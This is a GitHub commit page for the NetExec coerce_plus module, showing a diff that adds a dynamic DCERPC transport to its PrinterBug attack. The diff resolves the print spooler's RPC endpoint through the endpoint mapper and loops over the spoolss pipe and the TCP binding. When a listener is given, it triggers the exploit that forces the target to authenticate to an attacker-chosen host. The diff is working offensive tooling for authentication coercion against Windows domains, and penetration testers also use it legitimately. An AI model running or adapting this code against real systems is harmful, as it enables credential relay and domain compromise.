Skip to content

Commit

Permalink
coerce_plus: Support DCERPC for PrinterBug
Browse files Browse the repository at this point in the history
  • Loading branch information
rtpt-romankarwacik committed Dec 13, 2024
1 parent 95b1af5 commit a15b8ef
Showing 1 changed file with 65 additions and 27 deletions.
92 changes: 65 additions & 27 deletions nxc/modules/coerce_plus.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
Expand Down Expand Up @@ -146,32 +147,34 @@ def on_login(self, context, connection):
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
runmethod = True
""" PRINTERBUG START """
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="spoolss"
)
pipes = ["spoolss", "[dcerpc]"]
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe=pipe
)

if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
""" PRINTERBUG END """

if self.method == "all" or self.method[:1] == "m": # MSEven
Expand Down Expand Up @@ -752,15 +755,50 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context

def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = r"ncacn_ip_tcp:%s[135]" % target
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
)
try:
dce.connect()
except Exception as e:
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
"Resolved dynamic endpoint %s to %s"
% (repr(uuid.bin_to_string(interface)), repr(endpoint))
)
return endpoint
except Exception as e:
self.context.log.debug(
"Failed to resolve dynamic endpoint %s"
% repr(uuid.bin_to_string(interface))
)
raise e


def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": 445
},
"[dcerpc]": {
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])

if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
Expand Down

0 comments on commit a15b8ef

Please sign in to comment.